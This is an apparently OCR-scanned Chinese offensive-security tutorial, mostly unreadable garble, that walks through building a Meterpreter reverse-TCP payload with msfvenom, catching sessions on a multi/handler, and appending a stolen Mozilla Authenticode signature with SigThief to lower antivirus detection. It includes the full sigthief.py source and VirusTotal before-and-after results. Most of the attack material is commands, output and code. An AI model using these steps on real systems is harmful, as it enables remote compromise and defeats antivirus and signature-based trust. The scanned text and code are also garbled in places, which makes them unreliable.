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Github : https://github.com/secretsquirrel/SigThief

B9 SRk, TEHEFEREHNER  RERNNEZEWELSN  BFFEBANT
BEETENM  MHFE2EGHE. MfsReRl | MXEeEEEE%E , i
IFEFREEE. BATTIEENER , FEREIMESENTUES.

[Rigpayload :

I [root@John html]# msfvenom -p windows/x64/meterpreter/reverse tcp LHOS
T=192.168.1.104 LPORT=53 -f exe >tmp_rev53x_64.exe

2 [-] No platform was selected, choosing Msf::Module::Platform::Windows
from the payload

3 [-] No arch selected, selecting arch: x64 from the payload
4 No encoder or badchars specified, outputting raw payload

5 Payload size: 510 bytes

6 Final size of exe file: 7168 bytes

T |m=e |mE |

Itmp_r evDdx_Bd. exe

IRl HHER

i tmp_rewvodx_ B4
k= E:hshare
o T.00 EE (7, 168 =3

S HE=E: 500 BB (8 192 )

flEEEtE:  2019fFz A19H, 21:00:07
fECumEtE:  =01efFe A19H, 21:00:17
thiaetE: 2019z A19H, 21:02:0z2
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RS BERE |

XA - Z2ES x|

FTERIERTE. ERRRETHHE?

ﬁ BEFR: tmp_revSix_Bd. exe
E1E: FEETE
R HHERF

FiEE: E:'share

v ITH IR R0 A )

B IOENE :

1 msf exploit(multi/handler) > show options

3 Module options (exploit/multi/handler):

5 Name Current Setting Required Description

7

8

9 Payload options (windows/x64/meterpreter/reverse_tcp):
10

Il Name Current Setting Required Description

I R L LR T TR

13 EXITFUNC process yes Exit technique (Accepted: , seh, thread, proce

SS, none)

14 LHOST 192.168.1.104 yes The listen address (an interface may be speci

fied)
15 LPORT 53 yes The listen port
16

17

18 Exploit target:

22 @ Wildcard Target

25 msf exploit(multi/handler) > exploit



*1 Started reverse TCP handler on 192.168.1.104:53
*] Sending stage (206403 bytes) to 192.168.1.101

*] Meterpreter session 2 opened (192.168.1.104:53 -> 192.168.1.101:3:
56) at 2019-02-19 08:02:52 -0500

meterpreter >

> show optlons

Module options fexploit/muliishandler):

Mame Current Setting FRequired Cescription

Payload options {windo 4/meterpreter/reverse_tcpl:

Mame Current Setting Required Description

EXITFUNC pr 3 E ique cepted: h, thre 0 nane
LHOST i : i C 1

LPORT

Exploit target:
Id Name

@ Wildcard Target

[:i-:] =3
[:{-:] L i o
[+] lan 2 onened (182.168.1.164:53 .101:3256) at 2818-02-18 2 -0500

meterpreter = [J

BTz Zpayload :

root html]# ~/SigThief/sigthief.py -i crashreporter.exe.ca -t tm
p_rev53x_64.exe -o tmp_rev53x_64.ca.exe

Output file: tmp_rev53x_64.ca.exe
Signature appended
FIN

[root@lohn himlls -1 - -0 tmp_rev33x_64.ca exe
output file: tmp_revS3x_84.ca.exe

Signature appended.
FIN,




21|
T BTES |me |#mE |

AT
EEAMS: FETRBLEHAE: | FhEE
Moz1ils Corporation BTH 2015TkE
« >
FRIOENE

msf exploit(multi/handler) > exploit
*] Started reverse TCP handler on 192.168.1.104:53
*] Sending stage (206403 bytes) to 192.168.1.101

ES

Meterpreter session 3 opened (192.168.1.104:53 -> 192.168.1.101:32
59) at 2019-02-19 ©8:04:11 -0500

meterpreter > getpid

Current pid: 972

3 -= 162,168.1.101:3259) at 2019-02-19 08:04:11 -0S00

current p1
meterpreter =

fEHEE !

E:“zhare*tasklist ifindste "2?72"
tmp_revs3x_64.ca.exe 272 Console

HRREM : JRifpayload VS [Riapayload&&Z (s



FIEBAISE , BRR :

THHER

WAEERR tmp_revi B 4 exe ( FRETIRMHIAR AR TEIES )
A T16E Inte

Sr{EER applicationi-dosexec
MO5 37decYacBescefdfdh49c307a6ebdes e

SHAT 40acceed1 35833707 7T49cd9abe 0551167871546

b b

x BEE | wermnrsimes lennk . ARGEME !

HEEF42%0REC0RE RS

BffRl: 2018-02-19 21:31:36 {C5T)

(SUEBHE , THRF :



MHHEE

ISR tmp_reva G4 caexe (AL EMT AT AR FEIES
A 14800 hyte

SAEER applicationfsdosexe:
MO&S93747d5005c6978 7908894 4fe04 8030

SHATfFTaf0383c928320 20060967 eh 4 2df4d34d069bTE

B

x GBS | wuemsrsimmgs Fennk . SRS !

HiEsR 6 %R RS EEE

Bf(R]: 2019-02-19 21:37:28 (C5T)

VI ESESRIEE | TSR, (MNERRITEEEEHFER , MARAREER.

[FERNE
ZERtApythonERIEIE BT , BEFE2R ¢

o [FAIEPNAFEXNBIFAWERALARAZL , NBFMLZWindows

2003 , BBABERIAT IR aWindows 2003893244, EIEE =314,

o {MEIEBE ., f : EWindows 2003 ARz et/ , WELEET , BEiR
6, HBEWIT MUTRIAL,

ffi=% : sigthief.py

I #!/usr/bin/env python3
2 # LICENSE: BSD-3
3 # Copyright: Josh Pitts @midnite_ runr

5 1import sys



6 dimport struct

7 import shutil

8 import io

9 from optparse import OptionParser

10
11

13
14
15
16
17
18

20
21
22
23
24
25
26
27
28
29
30
31
32
[e]
33
34
35
36
37
38
39
40
41
42
43

44
(o]

def gather_file_info_win(binary):

Borrowed from BDF...

I could just skip to certLOC... *shrug*

flItms

1}

binary = open(binary, 'rb")

binary.seek(int('3C"', 16))

flItms['buffer'] = 0

flItms['JIMPtoCodeAddress'] = ©

flItms['dis_frm_pehdrs_sectble'] = 248

flItms|['pe_header location'] = struct.unpack('<i', binary.read(4))[0
# Start of COFF

flItms[ 'COFF_Start'] = flItms[ 'pe_header_ location'] + 4
binary.seek(flItms['COFF_Start'])

flItms[ 'MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms[ 'COFF_Start'] + 2, @)

flItms[ 'NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, ©)
flItms|['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))

flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20

#if flItms['SizeOfOptionalHeader']:

#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])

flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]

flItms[ 'MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0
flItms[ 'MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms|['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4)’



45
46
47
o]
48
49
50
51
52
53
54
95
56
bf]
58
59
60
61
62
63
64
65
66
(o]
67
(o]
68
69
70
71
72
73
74
75
76
7
78
79
80
81

82

flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))

flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]

if flItms['Magic'] != Ox20B:

flItms['BaseOfData’] = struct.unpack('<I', binary.read(4))[0]

# End Standard Fields section of Optional Header

# Begin Windows-Specific Fields of Optional Header

if flItms['Magic'] == Ox20B:

flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[9]
else:

flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms[ 'MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]

flItms[ 'MinorOperatingSystemVersion'] = struct.unpack('<H",
binary.read(2))[0]

flItms[ 'MajorImageVersion']

struct.unpack('<H', binary.read(2))[0]

flItms[ 'MinorImageVersion']

struct.unpack('<H', binary.read(2))[0]
flItms[ 'MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2)’

flItms[ 'MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2),

flItms[ 'Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImagelLoc'] = binary.tell()

flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem’'] = struct.unpack('<H', binary.read(2))[0]
flItms['Dl1lCharacteristics’']
if flItms['Magic'] == Ox20B:

struct.unpack('<H", binary.read(2))[0’

flItms['SizeOfStackReserve']
flItms['SizeOfStackCommit' ]

struct.unpack('<Q"', binary.read(8))[0

struct.unpack('<Q"', binary.read(8))[0]
flItms|['SizeOfHeapReserve'] struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]

else:

flItms|['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0
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84
85
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104
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112
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115
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120
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flItms['SizeOfStackCommit' ]

struct.unpack('<I', binary.read(4))[0]
flItms|['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms|['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zerc
f1lItms[ 'NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))

# End Windows-Specific Fields of Optional Header

# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms[ ' 'ImportTableLOCINPEOptHdrs'] = binary.tell()

#ImportTable SIZE|LOC

flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()

flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms|['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()

return flItms

def copyCert(exe):

flItms = gather_file info_win(exe)

if flItms['CertLOC'] == @ or flItms['CertSize'] == 0:
# not signed

print("Input file Not signed!")

sys.exit(-1)

with open(exe, 'rb') as f:
f.seek(f1lItms[ 'CertLOC'], O)
cert = f.read(flItms['CertSize'])

return cert

def writeCert(cert, exe, output):

flItms = gather_file_info_win(exe)

if not output:
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output = output = str(exe) + " _signed"”

shutil.copy2(exe, output)
print("Output file: {@}".format(output))

with open(exe, 'rb') as g:

with open(output, 'wb') as f:
.write(g.read())
.seek(9)
.seek(flItms[ 'CertTableLOC'], ©)

£
£
£
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))

f.seek(@, io.SEEK_END)

£

.write(cert)

print("Signature appended. \nFIN.")

def outputCert(exe, output):
cert = copyCert(exe)
if not output:

output = str(exe) + " _sig
print("Output file: {@}".format(output))
open(output, 'wb').write(cert)

print("Signature ripped. \nFIN.")

def check _sig(exe):

flItms = gather_file_info_win(exe)

if flItms['CertLOC'] == @ or flItms['CertSize'] == 0:
# not signed

print("Inputfile Not signed!")

else:

print("Inputfile is signed!")



164 def truncate(exe, output):

165 flItms = gather_file_info_win(exe)
166

167 if flItms['CertLOC'] == @ or flItms['CertSize'] == 0:
168 # not signed

169 print("Inputfile Not signed!")

170  sys.exit(-1)

171 else:

172 print( "Inputfile is signed!")

173

174 if not output:

175  output = str(exe) + "_nosig"

176

177 print("Output file: {0}".format(output))
178

179  shutil.copy2(exe, output)

180

181  with open(output, "r+b") as binary:

182 print('Overwriting certificate table pointer and truncating binary')
183 binary.seek(-flItms['CertSize'], io.SEEK_END)

184  binary.truncate()

185 binary.seek(flItms|['CertTablelLOC'], @)

186  binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
187

188 print("Signature removed. \nFIN.")

189

190

191 def signfile(exe, sigfile, output):

192 flItms = gather_file_info_win(exe)

193

194 cert = open(sigfile, 'rb').read()

195

196 if not output:

197  output = output = str(exe) + "_signed"
198

199  shutil.copy2(exe, output)

200

201  print("Output file: {@}".format(output))
202

203 with open(exe, 'rb') as g:
204 with open(output, 'wb') as f:



205 f.write(g.read())

206 f.seek(@)

207 f.seek(flItms['CertTableLOC'], O)

208 f.write(struct.pack("<I", len(open(exe, 'rb').read())))
209 f.write(struct.pack("<I", len(cert)))

210 f.seek(®, io.SEEK_END)

211 f.write(cert)

212 print("Signature appended. \nFIN.")

213

214

215 if __name__ == "_main__":

216 usage = 'usage: %prog [options]'

217 parser = OptionParser()

218 parser.add_option("-i", "--file", dest="inputfile",

219  help="input file", metavar="FILE")

220 parser.add_option('-r', '--rip', dest='ripsig', action='store_true’,
221  help="rip signature off inputfile')

222  parser.add option('-a', '--add', dest='addsig', action='store_ true',
223  help='add signautre to targetfile')

224  parser.add_option('-o', '--output', dest='outputfile',

225 help="output file')

226 parser.add_option('-s', '--sig', dest='sigfile',

227 help='binary signature from disk')

228 parser.add_option('-t', '--target', dest='targetfile',

229 help="file to append signature to')

230 parser.add_option('-c', '--checksig', dest='checksig', action="store
_true',

231 help='file to check if signed; does not verify signature')
232 parser.add_option('-T', '--truncate', dest="truncate", action='store
_true',

233 help="truncate signature (i.e. remove sig)')

234 (options, args) = parser.parse_args()

235

236 # rip signature

237 # inputfile and rip to outputfile

238 if options.inputfile and options.ripsig:

239  print("Ripping signature to file!")

240  outputCert(options.inputfile, options.outputfile)

241 sys.exit()

242

243 # copy from one to another



# inputfile and rip to targetfile to outputfile

if options.inputfile and options.targetfile:

cert = copyCert(options.inputfile)

writeCert(cert, options.targetfile, options.outputfile)

sys.exit()

# check signature

# inputfile

if options.inputfile and options.checksig:
check_sig(options.inputfile)

sys.exit()

# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)

sys.exit()

# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)

sys.exit()

parser.print_help()

parser.error("You must do something!")

e  Micropoor



